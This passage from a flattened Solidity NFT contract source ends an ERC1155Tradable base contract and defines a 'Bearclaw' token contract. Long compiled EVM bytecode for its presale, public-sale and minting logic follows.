OpenSea proxy accounts to enable gas-free listings. */ //function isApprovedForAll( // address _owner, // address _operator //) public view returns (bool isOperator) { // // Whitelist OpenSea proxy contract for easy trading. // ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); // if (address(proxyRegistry.proxies(_owner)) == _operator) { // return true; // } // return ERC1155.isApprovedForAll(_owner, _operator); //} /** * @dev Change the creator address for given token * @param _to Address of the new creator * @param _id Token IDs to change creator of */ function _setCreator(address _to, uint256 _id) internal creatorOnly(_id) { creators[_id] = _to; } /** * @dev Returns whether the specified token exists by checking to see if it has a creator * @param _id uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists( uint256 _id ) internal view returns (bool) { return creators[_id] != address(0); } /** * @dev calculates the next token ID based on value of _currentTokenID * @return uint256 for the next token ID */ function _getNextTokenID() private view returns (uint256) { return _currentTokenID.add(1); } /** * @dev increments the value of _currentTokenID */ function _incrementTokenTypeId() private { _currentTokenID++; } } // File: contracts\MyCollectible.sol pragma solidity ^0.5.12; /** * @title MyCollectible * MyCollectible - a contract for my semi-fungible tokens. */ contract Bearclaw is ERC1155Tradable { constructor(string memory _name) ERC1155Tradable( _name, _name ) public { _setBaseMetadataURI("https://node.ploutus.io/nft/"); } }
0x6080604052600436106102505760003560e01c80638da5cb5b11610139578063ad8066c8116100b6578063cd53d08e1161007a578063cd53d08e14611a20578063cfb5192814611a9b578063d2a6b51a14611b77578063e985e9c514611c5c578063f242432a14611ce5578063f2fde38b14611e0157610250565b8063ad8066c8146115ba578063adb41f75146115e5578063b48ab8b61461175c578063bcc7eae91461196c578063bd85b039146119d157610250565b806395d89b41116100fd57806395d89b411461123557806397aba7f9146112c5578063a22cb465146113d7578063a7bb580314611434578063a86b73f01461152457610250565b80638da5cb5b14610ed65780638ec2297614610f2d5780638f32d59b146110395780639201de55146110685780639242413f1461111c57610250565b80632eb2c2d6116101d2578063677edc9b11610196578063677edc9b14610b325780636b43974e14610c4b5780636b941a9b14610d57578063715018a614610dbc57806373538fb414610dd35780637e518ec814610e0e57610250565b80632eb2c2d6146106345780633ccfd60b1461086457806340259dad1461087b5780634e1273f4146108ba578063593b79fe14610a6857610250565b80630e89341c116102195780630e89341c146104245780631e7269c5146104d85780631ec32d151461053d5780632693ebf21461059457806328831187146105e357610250565b8062fdd58e1461025557806301ffc9a7146102c457806306fdde03146103365780630b9c8271146103c65780630cd1635d146103f1575b600080fd5b34801561026157600080fd5b506102ae6004803603604081101561027857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e52565b6040518082815260200191505060405180910390f35b3480156102d057600080fd5b5061031c600480360360208110156102e757600080fd5b8101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050611eac565b604051808215151515815260200191505060405180910390f35b34801561034257600080fd5b5061034b611f5d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038b578082015181840152602081019050610370565b50505050905090810190601f1680156103b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d257600080fd5b506103db611ffb565b6040518082815260200191505060405180910390f35b3480156103fd57600080fd5b50610406612001565b604051808261ffff1661ffff16815260200191505060405180910390f35b34801561043057600080fd5b5061045d6004803603602081101561044757600080fd5b8101908080359060200190929190505050612015565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049d578082015181840152602081019050610482565b50505050905090810190601f1680156104ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104e457600080fd5b50610527600480360360208110156104fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612128565b6040518082815260200191505060405180910390f35b34801561054957600080fd5b50610552612140565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a057600080fd5b506105cd600480360360208110156105b757600080fd5b8101908080359060200190929190505050612166565b6040518082815260200191505060405180910390f35b3480156105ef57600080fd5b506106326004803603602081101561060657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061217e565b005b34801561064057600080fd5b50610862600480360360a081101561065757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156106b457600080fd5b8201836020820111156106c657600080fd5b803590602001918460208302840111640100000000831117156106e857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561074857600080fd5b82018360208201111561075a57600080fd5b8035906020019184602083028401116401000000008311171561077c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156107dc57600080fd5b8201836020820111156107ee57600080fd5b8035906020019184600183028401116401000000008311171561081057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061223c565b005b34801561087057600080fd5b50610879612377565b005b34801561088757600080fd5b506108b86004803603602081101561089e57600080fd5b81019080803561ffff169060200190929190505050612479565b005b3480156108c657600080fd5b50610a11600480360360408110156108dd57600080fd5b81019080803590602001906401000000008111156108fa57600080fd5b82018360208201111561090c57600080fd5b8035906020019184602083028401116401000000008311171561092e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561098e57600080fd5b8201836020820111156109a057600080fd5b803590602001918460208302840111640100000000831117156109c257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612513565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610a54578082015181840152602081019050610a39565b505050509050019250505060405180910390f35b348015610a7457600080fd5b50610ab760048036036020811015610a8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612659565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610af7578082015181840152602081019050610adc565b50505050905090810190601f168015610b245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b3e57600080fd5b50610c3560048036036080811015610b5557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610b9c57600080fd5b820183602082011115610bae57600080fd5b80359060200191846001830284011164010000000083111715610bd057600080fd5b909192939192939080359060200190640100000000811115610bf157600080fd5b820183602082011115610c0357600080fd5b80359060200191846001830284011164010000000083111715610c2557600080fd5b90919293919293905050506126a4565b6040518082815260200191505060405180910390f35b610d4160048036036080811015610c6157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610ca857600080fd5b820183602082011115610cba57600080fd5b80359060200191846001830284011164010000000083111715610cdc57600080fd5b909192939192939080359060200190640100000000811115610cfd57600080fd5b820183602082011115610d0f57600080fd5b80359060200191846001830284011164010000000083111715610d3157600080fd5b909192939192939050505061291d565b6040518082815260200191505060405180910390f35b348015610d6357600080fd5b50610da660048036036020811015610d7a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c6b565b6040518082815260200191505060405180910390f35b348015610dc857600080fd5b50610dd1612c83565b005b348015610ddf57600080fd5b50610e0c60048036036020811015610df657600080fd5b8101908080359060200190929190505050612dbe565b005b348015610e1a57600080fd5b50610ed460048036036020811015610e3157600080fd5b8101908080359060200190640100000000811115610e4e57600080fd5b820183602082011115610e6057600080fd5b80359060200191846001830284011164010000000083111715610e8257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612e42565b005b348015610ee257600080fd5b50610eeb612ec8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61102360048036036080811015610f4357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610f8a57600080fd5b820183602082011115610f9c57600080fd5b80359060200191846001830284011164010000000083111715610fbe57600080fd5b909192939192939080359060200190640100000000811115610fdf57600080fd5b820183602082011115610ff157600080fd5b8035906020019184600183028401116401000000008311171561101357600080fd5b9091929391929390505050612ef2565b6040518082815260200191505060405180910390f35b34801561104557600080fd5b5061104e6135a1565b604051808215151515815260200191505060405180910390f35b34801561107457600080fd5b506110a16004803603602081101561108b57600080fd5b8101908080359060200190929190505050613600565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110e15780820151818401526020810190506110c6565b50505050905090810190601f16801561110e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561112857600080fd5b5061121f6004803603608081101561113f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561118657600080fd5b82018360208201111561119857600080fd5b803590602001918460018302840111640100000000831117156111ba57600080fd5b9091929391929390803590602001906401000000008111156111db57600080fd5b8201836020820111156111ed57600080fd5b8035906020019184600183028401116401000000008311171561120f57600080fd5b9091929391929390505050613777565b6040518082815260200191505060405180910390f35b34801561124157600080fd5b5061124a6139ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561128a57808201518184015260208101905061126f565b50505050905090810190601f1680156112b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156112d157600080fd5b50611395600480360360408110156112e857600080fd5b81019080803590602001909291908035906020019064010000000081111561130f57600080fd5b82018360208201111561132157600080fd5b8035906020019184600183028401116401000000008311171561134357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050613a8d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156113e357600080fd5b50611432600480360360408110156113fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050613b1a565b005b34801561144057600080fd5b506114fa6004803603602081101561145757600080fd5b810190808035906020019064010000000081111561147457600080fd5b82018360208201111561148657600080fd5b803590602001918460018302840111640100000000831117156114a857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050613c1b565b604051808460ff1660ff168152602001838152602001828152602001935050505060405180910390f35b34801561153057600080fd5b506115606004803603602081101561154757600080fd5b81019080803560ff169060200190929190505050613c5e565b60405180827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b3480156115c657600080fd5b506115cf613c89565b6040518082815260200191505060405180910390f35b3480156115f157600080fd5b506117426004803603604081101561160857600080fd5b810190808035906020019064010000000081111561162557600080fd5b82018360208201111561163757600080fd5b8035906020019184600183028401116401000000008311171561165957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156116bc57600080fd5b8201836020820111156116ce57600080fd5b803590602001918460018302840111640100000000831117156116f057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050613ca8565b604051808215151515815260200191505060405180910390f35b34801561176857600080fd5b5061196a6004803603608081101561177f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156117bc57600080fd5b8201836020820111156117ce57600080fd5b803590602001918460208302840111640100000000831117156117f057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561185057600080fd5b82018360208201111561186257600080fd5b8035906020019184602083028401116401000000008311171561188457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156118e457600080fd5b8201836020820111156118f657600080fd5b8035906020019184600183028401116401000000008311171561191857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050613d82565b005b34801561197857600080fd5b506119bb6004803603602081101561198f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613ed7565b6040518082815260200191505060405180910390f35b3480156119dd57600080fd5b50611a0a600480360360208110156119f457600080fd5b8101908080359060200190929190505050613eef565b6040518082815260200191505060405180910390f35b348015611a2c57600080fd5b50611a5960048036036020811015611a4357600080fd5b8101908080359060200190929190505050613f0c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015611aa757600080fd5b50611b6160048036036020811015611abe57600080fd5b8101908080359060200190640100000000811115611adb57600080fd5b820183602082011115611aed57600080fd5b80359060200191846001830284011164010000000083111715611b0f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050613f3f565b6040518082815260200191505060405180910390f35b348015611b8357600080fd5b50611c5a60048036036040811015611b9a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115611bd757600080fd5b820183602082011115611be957600080fd5b80359060200191846020830284011164010000000083111715611c0b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050613f6a565b005b348015611c6857600080fd5b50611ccb60048036036040811015611c7f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614034565b604051808215151515815260200191505060405180910390f35b348015611cf157600080fd5b50611dff600480360360a0811015611d0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190640100000000811115611d7957600080fd5b820183602082011115611d8b57600080fd5b80359060200191846001830284011164010000000083111715611dad57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506140c8565b005b348015611e0d57600080fd5b50611e5060048036036020811015611e2457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050614203565b005b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b60006301ffc9a760e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611f45575063d9b67a2660e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b15611f535760019050611f58565b600090505b919050565b60188054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ff35780601f10611fc857610100808354040283529160200191611ff3565b820191906000526020600020905b815481529060010190602001808311611fd657829003601f168201915b505050505081565b600f5481565b601060149054906101000a900461ffff1681565b606061202082614289565b612075576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180615d876025913960400191505060405180910390fd5b61212160028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561210e5780601f106120e35761010080835404028352916020019161210e565b820191906000526020600020905b8154815290600101906020018083116120f157829003601f168201915b505050505061211c846142f5565b614422565b9050919050565b60156020528060005260406000206000915090505481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60176020528060005260406000206000915090505481565b6121866135a1565b6121f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061227c575061227b8533614034565b5b6122d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180615dd8602f913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612357576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180615d576030913960400191505060405180910390fd5b61236385858585614466565b61237085858585856147cb565b5050505050565b61237f6135a1565b6123f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60003073ffffffffffffffffffffffffffffffffffffffff16319050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612475573d6000803e3d6000fd5b5050565b6124816135a1565b6124f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601060146101000a81548161ffff021916908361ffff16021790555050565b6060815183511461256f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180615dac602c913960400191505060405180910390fd5b606083516040519080825280602002602001820160405280156125a15781602001602082028038833980820191505090505b50905060008090505b845181101561264e576000808683815181106125c257fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085838151811061261257fe5b602002602001015181526020019081526020016000205482828151811061263557fe5b60200260200101818152505080806001019150506125aa565b508091505092915050565b606060405173ffffffffffffffffffffffffffffffffffffffff8316925082741400000000000000000000000000000000000000001860148201526034810160405280915050919050565b60006126ae6135a1565b612720576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60065486600a5401111561279c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f5265736572766520456d7074790000000000000000000000000000000000000081525060200191505060405180910390fd5b8560096000828254019250508190555060008090505b8681101561290e57600a600081548092919060010191905055506000600a549050600087879050111561284457807f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b888860405180806020018281038252848482818152602001925080828437600081840152601f19601f820116905080830192505050935050505060405180910390a25b336016600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506128e78982600188888080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050614a86565b600160176000838152602001908152602001600020819055505080806001019150506127b2565b50600090509695505050505050565b60006003601060149054906101000a900461ffff1661ffff16146129a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5075626c69632053616c657320497320436c6f7365640000000000000000000081525060200191505060405180910390fd5b34600f54870214612a22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f496e76616c69642046756e64000000000000000000000000000000000000000081525060200191505060405180910390fd5b60055486600954011115612a9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4d617820546f6b656e204d696e7465640000000000000000000000000000000081525060200191505060405180910390fd5b8560096000828254019250508190555085601560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060008090505b86811015612c5c576000600654612b16614bd4565b019050612b21614bf1565b6000878790501115612b9257807f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b888860405180806020018281038252848482818152602001925080828437600081840152601f19601f820116905080830192505050935050505060405180910390a25b336016600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612c358982600188888080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050614a86565b60016017600083815260200190815260200160002081905550508080600101915050612b01565b50600090509695505050505050565b60136020528060005260406000206000915090505481565b612c8b6135a1565b612cfd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b612dc66135a1565b612e38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600f8190555050565b612e4a6135a1565b612ebc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612ec581614c05565b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006001601060149054906101000a900461ffff1661ffff161480612f2b57506002601060149054906101000a900461ffff1661ffff16145b612f9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f50726573616c657320697320636c6f736564000000000000000000000000000081525060200191505060405180910390fd5b60055486600954011115613019576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4d617820546f6b656e204d696e7465640000000000000000000000000000000081525060200191505060405180910390fd5b61306f61302533614c1f565b86868080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050613ca8565b61307833614c1f565b9061311e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156130e35780820151818401526020810190506130c8565b50505050905090810190601f1680156131105780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506001601060149054906101000a900461ffff1661ffff1614156132365760075486600b540111156131b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4d617820546f6b656e204d696e7465640000000000000000000000000000000081525060200191505060405180910390fd5b34600d54870214613231576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f496e76616c69642046756e64000000000000000000000000000000000000000081525060200191505060405180910390fd5b61334a565b6002601060149054906101000a900461ffff1661ffff1614156133495760085486600c540111156132cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4d617820546f6b656e204d696e7465640000000000000000000000000000000081525060200191505060405180910390fd5b34600e54870214613348576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f496e76616c69642046756e64000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b5b856009600082825401925050819055506001601060149054906101000a900461ffff1661ffff1614156133d95785601360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555085600b60008282540192505081905550613455565b6002601060149054906101000a900461ffff1661ffff1614156134545785601460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555085600c600082825401925050819055505b5b85601560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060008090505b868110156135925760006006546134bd614bd4565b0190506134c8614bf1565b336016600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061356b8982600188888080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050614a86565b600160176000838152602001908152602001600020819055505080806001019150506134a8565b50600090509695505050505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166135e4614ea0565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b606060008090506060604080519080825280601f01601f19166020018201604052801561363c5781602001600182028038833980820191505090505b509050600091505b80518260ff16101561376d576000600f60f81b8560028560ff168161366557fe5b0460ff166020811061367357fe5b1a60f81b1660f81c9050600060048660028660ff168161368f57fe5b0460ff166020811061369d57fe5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c90506136d382613c5e565b838560ff16815181106136e257fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060018401935061372081613c5e565b838560ff168151811061372f57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535050508180600101925050613644565b8092505050919050565b60006137816135a1565b6137f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6005548660095401111561386f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4d617820546f6b656e204d696e7465640000000000000000000000000000000081525060200191505060405180910390fd5b8560096000828254019250508190555060008090505b868110156139e057600060065461389a614bd4565b0190506138a5614bf1565b600087879050111561391657807f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b888860405180806020018281038252848482818152602001925080828437600081840152601f19601f820116905080830192505050935050505060405180910390a25b336016600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506139b98982600188888080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050614a86565b60016017600083815260200190815260200160002081905550508080600101915050613885565b50600090509695505050505050565b60198054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a855780601f10613a5a57610100808354040283529160200191613a85565b820191906000526020600020905b815481529060010190602001808311613a6857829003601f168201915b505050505081565b600080600080613a9c85613c1b565b80935081945082955050505060018684848460405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015613b05573d6000803e3d6000fd5b50505060206040510351935050505092915050565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051808215151515815260200191505060405180910390a35050565b60008060006041845114613c2e57600080fd5b60008060006020870151925060408701519150606087015160001a90508083839550955095505050509193909250565b6000600a8260ff161015613c7a576030820160f81b9050613c84565b6057820160f81b90505b919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b600080836040516020018082805190602001908083835b60208310613ce25780518252602082019150602081019050602083039250613cbf565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051602081830303815290604052805190602001209050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613d628285613a8d565b73ffffffffffffffffffffffffffffffffffffffff161491505092915050565b60008090505b8351811015613ec4576000848281518110613d9f57fe5b602002602001015190503373ffffffffffffffffffffffffffffffffffffffff166016600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613e60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180615ca3602f913960400191505060405180910390fd5b6000848381518110613e6e57fe5b60200260200101519050613e9e816017600085815260200190815260200160002054614ea890919063ffffffff16565b601760008481526020019081526020016000208190555050508080600101915050613d88565b50613ed184848484614f30565b50505050565b60146020528060005260406000206000915090505481565b600060176000838152602001908152602001600020549050919050565b60166020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006060829050600081511415613f5c576000801b915050613f65565b60208301519150505b919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613ff0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180615eb0602c913960400191505060405180910390fd5b60008090505b815181101561402f57600082828151811061400d57fe5b6020026020010151905061402184826151b6565b508080600101915050613ff6565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061410857506141078533614034565b5b61415d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180615cf8602a913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156141e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180615c78602b913960400191505060405180910390fd5b6141ef858585856152c5565b6141fc85858585856154b9565b5050505050565b61420b6135a1565b61427d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b614286816156f2565b50565b60008073ffffffffffffffffffffffffffffffffffffffff166016600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b6060600082141561433d576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061441d565b